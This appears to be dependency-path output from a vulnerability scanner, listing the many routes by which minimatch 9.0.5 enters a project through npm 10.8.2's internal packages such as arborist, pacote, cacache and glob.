  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
